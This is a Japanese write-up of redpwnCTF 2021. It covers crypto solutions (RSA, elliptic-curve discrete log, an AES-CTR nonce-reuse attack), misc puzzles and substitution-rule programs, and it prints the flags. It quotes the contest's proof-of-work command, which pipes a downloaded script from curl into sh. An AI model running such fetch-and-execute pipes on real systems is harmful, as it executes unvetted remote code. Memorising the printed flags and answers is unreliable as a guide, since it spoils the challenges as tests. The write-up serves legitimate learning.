English version: redpwnCTF 2021 writeup (English version) - Qiita
概要
redpwnCTF 2021 (2021/07/10 04:00 ~ 2021/07/13 04:00 (JST)) (CTFtime.org) に1人チームで参加した。
2170点を獲得し、正の点数を獲得した1418チーム中66位だった。
解けた問題は以下の通りである。
Challenge | Category | Value | Time (JST) |
---|---|---|---|
printf-please | pwn | 107 | 2021/07/10 04:12:49 |
the-substitution-game | misc | 145 | 2021/07/10 05:24:00 |
compliant-lattice-feline | misc | 102 | 2021/07/10 05:35:13 |
pastebin-1 | web | 103 | 2021/07/10 05:44:25 |
orm-bad | web | 102 | 2021/07/10 05:49:23 |
secure | web | 104 | 2021/07/10 05:59:54 |
inspect-me | web | 101 | 2021/07/10 06:01:51 |
beginner-generic-pwn-number-0 | pwn | 105 | 2021/07/10 06:10:32 |
ret2generic-flag-reader | pwn | 105 | 2021/07/10 06:18:53 |
ret2the-unknown | pwn | 108 | 2021/07/10 07:43:35 |
scissor | crypto | 102 | 2021/07/10 07:52:00 |
baby | crypto | 102 | 2021/07/10 07:58:24 |
round-the-bases | crypto | 107 | 2021/07/10 08:07:05 |
wstrings | rev | 102 | 2021/07/10 09:10:02 |
sanity-check | misc | 1 | 2021/07/10 09:20:13 |
yahtzee | crypto | 128 | 2021/07/10 13:03:03 |
discord | misc | 1 | 2021/07/10 13:20:41 |
bread-making | rev | 108 | 2021/07/10 22:46:01 |
annaBEL-lee | misc | 121 | 2021/07/11 10:55:17 |
notes | web | 196 | 2021/07/11 23:02:58 |
blecc | crypto | 119 | 2021/07/12 19:07:50 |
survey | misc | 1 | 2021/07/12 20:17:12 |
解けた問題一覧の作成方法
今回の環境では、問題を解いた時間が「3 hours ago」「1 day ago」などのようなだいたいのものしか表示されない。
(ちなみに、「Powered by rCTF」となっている)
調査の結果、以下の手順で各問題を解いた正確な時刻がわかることがわかった。
- 問題を解いた時間を知りたいチームのProfileを開く
- 開発者ツールを開き、ネットワークを見る
- URLにあるIDか
me
を探し、「応答」を見る - JSONがあれば、そこに解けた問題の情報がある
-
createdAt
の値をJavaScriptのDate
オブジェクトのコンストラクタに渡すと、解いた時刻が得られる
そこで、これを用いてJSONから解けた問題の一覧を作成するプログラムを用意した。
解けた問題の一覧を作成するプログラム
<!DOCTYPE html><html><head><title>decoder</title><script>
function getDate(date) {
const y = ("0000" + date.getFullYear()).substr(-4);
const m = ("00" + (date.getMonth() + 1)).substr(-2);
const d = ("00" + date.getDate()).substr(-2);
return y + "/" + m + "/" + d;
}
function getTime(date) {
const h = ("00" + date.getHours()).substr(-2);
const m = ("00" + date.getMinutes()).substr(-2);
const s = ("00" + date.getSeconds()).substr(-2);
return h + ":" + m + ":" + s;
}
function convert() {
const input_data = JSON.parse(document.getElementById("json_input").value);
const solved_list = input_data.data.solves;
let md_out = "|Challenge|Category|Value|Time|\n|---|---|--:|---|\n";
let gp_out = "";
let score = 0;
for (let i = solved_list.length - 1; i >= 0; i--) {
const time = new Date(solved_list[i].createdAt);
const time_prev = new Date(solved_list[i].createdAt - 1000);
const time_md = getDate(time) + " " + getTime(time);
const time_gp = getDate(time) + "_" + getTime(time);
const time_gp_prev = getDate(time_prev) + "_" + getTime(time_prev);
const name = solved_list[i].name, category = solved_list[i].category, value = solved_list[i].points;
md_out += "|" + name + "|" + category + "|" + value + "|" + time_md + "|\n";
gp_out += time_gp_prev + "\t" + score + "\n" + time_gp + "\t" + (score + value) + "\n";
score += value;
}
document.getElementById("markdown_output").value = md_out;
document.getElementById("gnuplot_output").value = gp_out;
}
</script></head><body>
<p>Input JSON here</p>
<p><textarea id="json_input" rows="10" cols="100"></textarea></p>
<p><input type="button" value="convert" onclick="convert();"></p>
<p>Output (Markdown)</p>
<p><textarea id="markdown_output" rows="10" cols="100"></textarea></p>
<p>Output (for gnuplot)</p>
<p><textarea id="gnuplot_output" rows="10" cols="100"></textarea></p>
</body></html>
解けた問題
crypto
scissor
I was given this string and told something about scissors.
egddagzp_ftue_rxms_iuft_rxms_radymf
という問題文が与えられた。
与えられた文字列にCyberChefで ROT13 を適用し、Amountを1ずつ変えていくと、
Amount = 14 で surround_this_flag_with_flag_format
という文字列が得られた。
これにflag{
と}
を付け足すことで、flagが得られた。
flag{surround_this_flag_with_flag_format}
baby
I want to do an RSA!
という問題文と、以下のファイルが与えられた。
n: 228430203128652625114739053365339856393
e: 65537
c: 126721104148692049427127809839057445790
Wolfram Alphaでn
を素因数分解すると、12546190522253739887 * 18207136478875858439
となった。
この値を用いて、RSA暗号 - Wikipediaを参考にRSA暗号の復号を行った。
n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
phi = (12546190522253739887 - 1) * (18207136478875858439 - 1)
d, _ = kago(e, phi)
res = pow(c, d, n)
print("d = " + str(d))
print("res = " + hex(res))
d = 57678303879838009672243096264323227345
res = 0x666c61677b363861623832646633347d
得られたres
の値(0x
は除く)にCyberChefで From Hex を適用することで、flagが得られた。
flag{68ab82df34}
round-the-bases
約8KBの文字列データが与えられた。
CyberChefで以下の操作を行うことで、flagが得られた。
- From Base85
- From Base64
- From Hex
- From Hex
- Find / Replace (Find:
[T2]
(REGEX), Replace: (空文字列)) - Substitute (Plaintext:
HI
, Ciphertext:01
) - From Binary
flag{w0w_th4t_w4s_4ll_wr4pp3d_up}
blecc
以下のファイルが与えれれた。
p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)
d = ???
Can you help me find `d`?
Decode it as a string and wrap in flag format.
まず「"(p, a, b, G, Q)"」(引用符を含む)でググってみた。すると、
Elliptic Curve Cryptosystems
が見つかった。
ここから、これらの変数はElliptic Curveに関係していそうであることがわかった。
そこで、「Elliptic Curves writeup」でググってみた。すると、
ctf-writeups/README.md at master · diogoaj/ctf-writeups
が見つかった。
これは、Elliptic Curveの情報、P
、n*P
が与えられてn
を求める問題の解き方である。
ここから、今回の問題も同様にQ = d*G
となるd
を求めればいいかもしれないと考えた。
SageでのElliptic Curveの指定の仕方は、ここが参考になった。
Elliptic curve constructor — Sage 9.3 Reference Manual: Elliptic curves
さらに、ここではSageのコードをオンラインで実行できる。
Sage Cell Server
さらに「elliptic curve discrete log writeup」でググると、ここが見つかった。
Th3g3ntl3man-CTF-Writeups/ECC2.md at master · hgarrereyn/Th3g3ntl3man-CTF-Writeups
ここによれば、以下のようにすることでd
を求められそうである。
- Elliptic Curveのorderを求め、素因数分解する
- orderを各素因数で割った値
t
を用いて、(t*Q) = d'*(t*G)
となるd'
をそれぞれ求める - 各素因数で割るとそれぞれに対応する
d'
になる数を、中国剰余定理を使って求める
まず、Sageを用いて以下のようにすることで、Elliptic Curveのorderを求め、素因数分解した。
F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())
結果は
2 * 5 * 11 * 22303 * 36209 * 196539307
となった。
次に、これを用いて、Sageで以下のようにそれぞれのd'
を求めた。
F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())
G = E.point((15579091807671783999, 4313814846862507155))
Q = E.point((8859996588597792495, 2628834476186361781))
primes = [2, 5, 11, 22303, 36209, 196539307]
for fac in primes:
t = int(G.order()) // int(fac)
dlog = discrete_log(t*Q,t*G,operation="+")
print("(" + str(dlog) + ", " + str(fac) + "),")
記事中ではt
の計算に/
を使っているが、エラーになったので//
にした。
結果は
(1, 2),
(1, 5),
(3, 11),
(2108, 22303),
(7789, 36209),
(125193423, 196539307),
となった。
そして、これらを用いてd
を求めた。
`d`を求めるプログラム
import sys
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
# return x where x === b1 (mod m1), x === b2 (mod m2)
def chuzyo(b1, m1, b2, m2):
p, q = kago(m1, m2)
return (b2 * m1 * p + b1 * m2 * q) % (m1 * m2)
# l = [(b1, m1), (b2, m2), ...]
def chuzyo2(l):
b = 0
m = 1
for bb, mm in l:
b = chuzyo(b, m, bb, mm)
m *= mm
return b
data = [(1, 2), (1, 5), (3, 11), (2108, 22303), (7789, 36209), (125193423, 196539307)]
num = chuzyo2(data)
print(hex(num))
result = ""
while num > 0:
result = chr(num & 0xff) + result
num >>= 8
print(result)
結果は
0x6d316e315f336363
m1n1_3cc
となった。
最後に、得られた文字列にflag{
と}
を付け足すことで、flagが得られた。
flag{m1n1_3cc}
yahtzee
TCPサーバの接続情報と、サーバのプログラムserver.py
が与えられた。
プログラムは、quit
(大文字小文字は区別しない)でない行が入力されたら暗号文を出力することを繰り返すものだった。
暗号文は以下のように生成されていた。
-
quotes.txt
から適当な行を選び、flagを適当な位置に挿入する - 乱数(1~6の整数の乱数2個の和)を用いて
nonce
を決定し、固定のkey
を用いてAES.MODE_CTR
で暗号化する
共通鍵暗号の暗号モード CTRについて - Qiita
より、MODE_CTR
はNonceとCounterを暗号化したものを平文にxorする暗号化方法であり、
すなわちnonce
によって決まるデータ列を平文にxorする、と言い換えることができる。
nonce
が2~12の11種類しか無く、挿入対象の候補も25種類しかないので、
大量に暗号文を取得すればきっと同じnonce
と挿入対象を用いた暗号文が出てくるだろう。
Tera Termでサーバに接続すると、
proof of work: curl -sSfL https://pwn.red/pow | sh -s s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==
solution:
と出力された。
https://pwn.red/pow
をダウンロードしてみると、URLを構築してダウンロードするスクリプトのようだった。
これを読み取り、https://github.com/redpwn/pow/releases/download/v0.0.4/redpwnpow-windows-amd64.exe
をダウンロードすることにした。
curl
でダウンロードするとリダイレクトについて書かれたHTMLデータが得られたが、
Firefoxでダウンロードしたら実行可能ファイルが得られた。
そこで、このファイルとサーバの出力の後半部分を組み合わせたコマンド
redpwnpow-windows-amd64.exe s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==
を実行すると、
s.czFf1enp5OTtoFwopJ7/0uuCxdxqBoCz/vpGR6PXCbP7Q798v+uFr1EsC+LpqoLCtfCAnrhsryoW9G9F4XhH7uPDY3EIR6enn7xIRQY64wkeOaKJL7Az3lbyvt531mUtU8LDl5scbUaxk7HP20iEP6xNuCm9yYX7n5A7dmPA4HjOqh9m+OnPlpf9Op9QVrbilAxKUpARIlDP8dT5+ZtDcg==
と出力された。
この出力をサーバに送信すると、与えられたプログラムの実行が開始されるようだった。
これを踏まえ、暗号文を集める以下のプログラムを用意した。
暗号文を集めるプログラム
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"mc.ax", PeerPort=>31076, Proto=>"tcp");
die "socket error $!" unless $sock;
my $q = <$sock>;
unless ($q =~ /sh -s (.*)$/) { die "?\n"; }
open(PROC, "redpwnpow-windows-amd64.exe $1 |") or die "proc error\n";
my $res = <PROC>;
close(PROC);
print $sock $res;
print $sock "y\n";
for (my $i = 0; $i < 1000; $i++) {
for (;;) {
my $res = <$sock>;
unless ($res) { last; }
if ($res =~ /Ciphertext: (.*)$/) {
print "$1\n";
print $sock "y\n";
}
}
}
close($sock);
暗号文をとりあえず1000個取得するようにしたが、638個しか得られなかった。
得られた暗号文をソートして重複を除くと、例えば
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b84bc0c7378ea98d9d4f1842ec37bb760ffe09930c01bbdb70e86851724ecd46b59ca96ad7f56318d1b62349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86b50e7d67bfd0f2ece5d336fd68a435e58cbd5b9f20bdf00897851427cac704629c9bb0690361800962349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4
という部分があった。
これらの暗号文は最初の部分が同じなので、同じ挿入対象を同じnonce
で暗号化していると考えられる。
詳しく見ると、これらの暗号文のうち2個で
c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86
1個で
d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90
となっている部分があった。
2個ある方がもともとの挿入対象を、1個の方がflagを暗号化したものであると考えられる。
これらの暗号文は、それぞれの平文と同じ鍵データxorをしたもののはずなので、
これらの暗号文のxorをとれば、鍵データが打ち消されて平文同士のxorが得られるはずである。
さらに、flagの先頭部分はflag{
のはずなので、
これを正しい位置にxorすることでもう一個の平文が得られるはずである。
実際に試してみると、この部分の先頭にflag{
をxorするともう一個の平文がto be
となり、妥当に思えた。
得られた鍵データのb0 38 7d 27 0d
を他の暗号文の同じ位置とxorしていくと、
0ca3e4a5408d8883c70eb2c059e9bafc5eadaa8d0dc80fffac6ea0892ec20e7588d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148
という暗号文からag{0h
という結果が得られた。
これはflagの一部であり、最初のflagから2文字ずれているようである。
これを利用すると、以下の手順でflag全体を求めることができそうだ。
- 新しく得られたflagの2文字を、
flag{
で始まる部分の暗号文の対応する位置にxorし、その部分の鍵を求める - 求めた鍵を
ag{0h
で始まる部分の暗号文の対応する位置にxorし、その部分のflagを求める - 1と2を繰り返す
実際に、以下のプログラムでflagを求めることができた。
flagを求めるプログラム
#!/usr/bin/perl
use strict;
use warnings;
my $data1 = "d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148";
my $data2 = "d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4";
my $d1len = length($data1);
my $d2len = length($data2);
my $decoded = "fl";
for (my $i = 0; $i * 2 + 4 <= $d1len && $i * 2 + 4 <= $d2len; $i += 2) {
my $c1 = ord(substr($decoded, length($decoded) - 2, 1));
my $c2 = ord(substr($decoded, length($decoded) - 1, 1));
my $k1 = hex(substr($data2, $i * 2, 2)) ^ $c1;
my $k2 = hex(substr($data2, $i * 2 + 2, 2)) ^ $c2;
my $p1 = hex(substr($data1, $i * 2, 2)) ^ $k1;
my $p2 = hex(substr($data1, $i * 2 + 2, 2)) ^ $k2;
$decoded .= chr($p1) . chr($p2);
}
print "$decoded\n";
flag{0h_W41t_ther3s_nO_3ntr0py}
misc
sanity-check
以下の問題文が与えられた。
I get to write the sanity check challenge! Alright!
flag{1_l0v3_54n17y_ch3ck_ch4ll5}
問題文にflagが書かれていた。
flag{1_l0v3_54n17y_ch3ck_ch4ll5}
discord
以下の問題文が与えられた。
Join the discord! I hear
#rules
is an incredibly engaging read.
問題文の「discord」の部分はリンクになっており、アクセスするとDiscordの招待ページにリダイレクトされた。
サーバに参加し、誘導通り#rules
チャンネルを見ると、ページ上部にflagが書かれていた。
この部分をクリックすると、flagがコピーできる形で表示された。
flag{chall3n63_au7h0r5h1p_1nfl4710n}
survey
Googleフォームのページへのリンクが与えられた。
これは3ページからなるアンケートだった。
アンケートに回答して送信すると、リンクが表示された。
そのリンクにアクセスすると、flagが表示された。
flag{thank5_f0r_play1ng_r3dpwnctf_2021!_zc9e848yg2gdhwxz}
compliant-lattice-feline
以下の問題文が与えられた。
get a flag!
nc mc.ax 31443
Tera Termを起動し、「新しい接続」ダイアログで
- TCP/IP
- ホスト:
mc.ax
- サービス: その他
- TCPポート#:
31443
に設定し、OKボタンを押して接続すると、flagが表示された。
flag{n3tc4t_1s_a_pip3_t0_the_w0rld}
annaBEL-lee
TCPサーバの接続情報が与えられた。
Tera Termで接続してみたが、何も起こらない様子だった。
TCP/IPテストツールで接続すると、
0x00のバイトと0x07のバイトからなるデータがゆっくり送られてきた後、通信が切断された。
数回接続してみたところ、データの区切りは変わったが、データの内容は最初を除いて同じようだった。
0x00のバイトを0
、0x07のバイトを7
で表現し、区切りを消して観察していると、
最初を除いて0
や7
が1個か3個ずつ連続していることに気がついた。
さらに、問題文に追加された
- 音を出すと役立つ可能性がある
- 遅くするといい考えに至りやすくなる
というヒントから、モールス信号の可能性を思いついた。
CyberChefには、From Morse Code という機能がある。
0
を音が鳴っていない部分、7
を鳴っている部分として、
前処理・From Morse Code・後処理をすることで、flagが得られた。
flag{d1ng-d0n9-g0es-th3-anna-b3l}
the-substitution-game
TCPサーバの接続情報と、サーバのプログラムchall.py
が与えられた。
Tera Termでサーバに接続すると、
入力の文字列を期待する出力文字列にするような置換規則を入力させるゲームが始まった。
現在の文字列に適用できる最初の置換規則を適用し、適用できる置換規則が無くなったら止まる。
停止規則が無いMarkov Algorithm Onlineのような感じだ。
6個のlevelを解くことで、flagが得られた。
シミュレータ
サーバでは不正解の時は出力文字列が表示されるが、失敗した原因がわかりにくい。
そこで、置換結果を1ステップごとに出力するシミュレータを作成した。
シミュレータ
<!DOCTYPE html>
<html>
<head><title>sim</title>
<script>
function run() {
const rules1 = document.getElementById("rules").value.replaceAll("\r\n", "\n").replaceAll("\r", "\n").split("\n");
const rules = [];
for (let i = 0; i < rules1.length; i++) {
const arr = rules1[i].split(" => ");
if (arr.length == 2) rules.push(arr);
}
let text = document.getElementById("text").value;
let res = text + "\n";
for (let i = 0; i < 10000; i++) {
let found = false;
for (let j = 0; j < rules.length; j++) {
if (text.indexOf(rules[j][0]) >= 0) {
text = text.replace(rules[j][0], rules[j][1]);
found = true;
break;
}
}
if (found) {
res += text + "\n";
} else {
break;
}
}
document.getElementById("result").value = res;
}
</script>
</head>
<body>
<p>text:
<input id="text" value="" size="100"><br>
rules:<br>
<textarea id="rules" rows="10" cols="100"></textarea><br>
<input type="button" onclick="run();" value="run"><br>
result:<br>
<textarea id="result" rows="10" cols="100"></textarea>
</p>
</body></html>
Level 1
問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: 000000000000000initial0000000000
Target string: 000000000000000target0000000000
Initial string: 0000initial000000
Target string: 0000target000000
Initial string: 000000000000initial00000000000000000000
Target string: 000000000000target00000000000000000000
Initial string: 000000000initial
Target string: 000000000target
Initial string: 00000000initial0000000
Target string: 00000000target0000000
Initial string: 00000000000000000initial000000
Target string: 00000000000000000target000000
Initial string: 0000000000000000000initial00000
Target string: 0000000000000000000target00000
Initial string: 0000000000000initial000
Target string: 0000000000000target000
Initial string: 0000initial0000000000000000
Target string: 0000target0000000000000000
Initial string: 000000initial0
Target string: 000000target0
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 5 max:
入力に含まれるinitial
をtarget
に置換すればよい。
initial => target
Level 2
問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: ginkoidginkoidhellohellohelloginkoidhellohellohellohelloginkoidginkoidginkoidhelloginkoidginkoidginkoidginkoidginkoid
Target string: ginkyginkygoodbyegoodbyegoodbyeginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyeginkyginkyginkyginkyginky
Initial string: ginkoidginkoidhelloginkoidginkoidginkoidginkoidhelloginkoidhelloginkoidhello
Target string: ginkyginkygoodbyeginkyginkyginkyginkygoodbyeginkygoodbyeginkygoodbye
Initial string: helloginkoidhellohellohelloginkoidginkoidhellohelloginkoidhelloginkoidhelloginkoidginkoidginkoidginkoidhello
Target string: goodbyeginkygoodbyegoodbyegoodbyeginkyginkygoodbyegoodbyeginkygoodbyeginkygoodbyeginkyginkyginkyginkygoodbye
Initial string: helloginkoidhelloginkoidginkoidginkoidhelloginkoidhellohellohellohellohelloginkoidginkoidhello
Target string: goodbyeginkygoodbyeginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyegoodbyegoodbyeginkyginkygoodbye
Initial string: helloginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoidhelloginkoidhellohellohelloginkoidhelloginkoid
Target string: goodbyeginkyginkygoodbyegoodbyeginkyginkyginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkygoodbyeginky
Initial string: hellohelloginkoidginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidhelloginkoidhellohello
Target string: goodbyegoodbyeginkyginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbye
Initial string: hellohelloginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidginkoidginkoidginkoidginkoidginkoid
Target string: goodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkyginkyginkyginkyginkyginky
Initial string: helloginkoidginkoidhellohellohellohelloginkoidginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkyginkyginkyginkyginky
Initial string: hellohellohellohellohelloginkoidhelloginkoidhelloginkoidhelloginkoidhelloginkoidginkoidginkoidhello
Target string: goodbyegoodbyegoodbyegoodbyegoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkyginkyginkygoodbye
Initial string: helloginkoidginkoidhelloginkoidginkoidhelloginkoidhelloginkoidginkoidhelloginkoidhellohellohelloginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyeginkyginkygoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkyginkyginky
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:
入力に含まれるhello
をgoodbye
に、ginkoid
をginky
に置換すればよい。
hello => goodbye
ginkoid => ginky
Level 3
問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:
a
が何個か入力されるので、1個のa
に変換すればいいようである。
a
が2個あったら1個にする、という処理を繰り返せばよい。
aa => a
Level 4
問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:
g
が何個か入力されるので、1個のginkoid
に変換すればいいようである。
g
をそのまま置換しようとしてしまうと、ginkoid
にもg
が含まれるので失敗する。
そこで、ginkoid
に含まれない適当な文字(ここではx
)を経由する。
まず、g
ではなくgg
をx
に置換する。
次に、複数個あるx
を1個にまとめ、ginkoid
に置換する。
最後に、文字列の最後にg
が残っていたら消す。
gg => x
xx => x
x => ginkoid
idg => id
置換規則をサーバに入力する際は、規則の後に1個ずつy
(規則はまだある)かn
(規則は以上)を入力しないといけない。
大量の規則を1個ずつ入力するのは手間がかかるので、テキストエディタやCyberChefの置換機能などで
事前に各行の間にy
を挟み、まとめて貼り付けをすると良い。
Level 5
問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: ^0101110110111010101010101100100000011110101000111110001010111100000010011010101010101110110111010$
Target string: palindrome
Initial string: ^000100000100110001110011000111011110101101011110111000110011100011001000001000$
Target string: palindrome
Initial string: ^1100001011110101110111000111110101111010111110001110111010111101000011$
Target string: palindrome
Initial string: ^1111010101010001011100101010001011110101111100101011001000010111011100011110001010011101$
Target string: not_palindrome
Initial string: ^1100001111010011011010101101011111110100100001011010010110100001010110101$
Target string: not_palindrome
Initial string: ^1111101000110001001001011011011110010111110100111101101101001001000110001011111$
Target string: palindrome
Initial string: ^1011001101111000110110100011101101000110110100000001010000010001111000001010001$
Target string: not_palindrome
Initial string: ^11010001001100010111011010111001111111000011000000000011000011111110011101011011101000110010001011$
Target string: palindrome
Initial string: ^1000010101011110110001001111101100010111000011010100111001011000010$
Target string: not_palindrome
Initial string: ^0011000011010111100011110000110100011001111011101111001100010110000111100011110101100001100$
Target string: palindrome
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 100 max:
0/1の文字列が回文かどうかを判定することを求められているようである。
「チューリングマシン 回文」でググッた結果、
Turing 機械のプログラミング
が出てきたので、ここのプログラムをパクることにした。
幸い、問題の文字列にはこのサイトで扱うテープと同様に、最初と最後に特別なマークが入っている。
チューリングマシンの記述を、以下のように置換規則で表現した。
- チューリングマシンのヘッドの位置を
[状態]
で表現する - 最初に、先頭のマークを、
[開始状態]別の先頭マーク
に置換する - ヘッドを動かさない規則は、
[状態]記号 => [次の状態]書き込む記号
で表現する - ヘッドを右に動かす規則は、
[状態]記号 => 書き込む記号[次の状態]
で表現する - ヘッドを左に動かす規則は、
各文字[状態]記号 => [次の状態]各文字 書き込む記号
で表現する
最後に、acceptかrejectになったら、求められる文字列に置換して前後の余計な文字を消去するようにした。
解答の置換規則 (46行)
^ => [start]#
[start]# => #[l2]
[l2]0 => #[l20]
[l2]1 => #[l21]
[l2]$ => [a]$
[l20]0 => 0[l20]
[l20]1 => 1[l20]
0[l20]$ => [l30]0$
1[l20]$ => [l30]1$
#[l20]$ => [l30]#$
0[l30]0 => [l4]0$
1[l30]0 => [l4]1$
#[l30]0 => [l4]#$
[l30]1 => [r]1
[l30]# => [a]#
0[l4]0 => [l4]00
1[l4]0 => [l4]10
#[l4]0 => [l4]#0
0[l4]1 => [l4]01
1[l4]1 => [l4]11
#[l4]1 => [l4]#1
[l4]# => #[l2]
[l21]0 => 0[l21]
[l21]1 => 1[l21]
0[l21]$ => [l31]0$
1[l21]$ => [l31]1$
#[l21]$ => [l31]#$
[l31]0 => [r]0
0[l31]1 => [l4]0$
1[l31]1 => [l4]1$
#[l31]1 => [l4]#$
[l31]# => [a]#
[a] => palindrome
[r] => not_palindrome
e0 => e
e1 => e
e# => e
e$ => e
0n => n
1n => n
#n => n
$n => n
0p => p
1p => p
#p => p
$p => p
Level 6
問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: ^10111111+110001=100100101$
Target string: incorrect
Initial string: ^111000+10011=10100101$
Target string: incorrect
Initial string: ^1101000+11111110=101100110$
Target string: correct
Initial string: ^0+1101001=1101001$
Target string: correct
Initial string: ^100010000011+11000110=101001001$
Target string: incorrect
Initial string: ^10101011+1010111=110001$
Target string: incorrect
Initial string: ^11111011+11011101=10001100110$
Target string: incorrect
Initial string: ^10001010+1101111=101$
Target string: incorrect
Initial string: ^1011001001+11111101=111000110$
Target string: incorrect
Initial string: ^10111000+100100=11011100$
Target string: correct
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 300 max:
2進数の足し算の式が与えられ、正誤を判定することを求められるようである。
今回実装した処理は、大きく以下の3個のパートからなる。
- 前処理 (入力された数のゼロサプレスと区切りの追加)
- 足し算
- 結果の比較
ヘッドで状態を監理しつつデータを右に送るというチューリングマシンでの手法を活かしつつ、
ヘッドを左に戻さなくていいなどチューリングマシンではなく文字列の置換であることを考えた実装を行った。
解答の置換規則 (50行)
= => :-
^00 => ^0
+00 => +0
-00 => -0
^01 => ^1
+01 => +1
-01 => -1
0o:C => :C0
1o:C => :C1
0z:C => :1
1z:C => :C0
0o: => :1
1o: => :C0
0z: => :0
1z: => :1
o1 => 1o
o0 => 0o
z1 => 1z
z0 => 0z
^+:C => ^1
^+: => ^
+z:C => +:1
+z: => +:0
+o:C => +:C0
+o: => +:1
1+ => +o
0+ => +z
^+ => ^+z
0i => i
1i => i
-i => i
^i => i
t0 => t
t1 => t
t$ => t
q0 => 0q
q1 => 1q
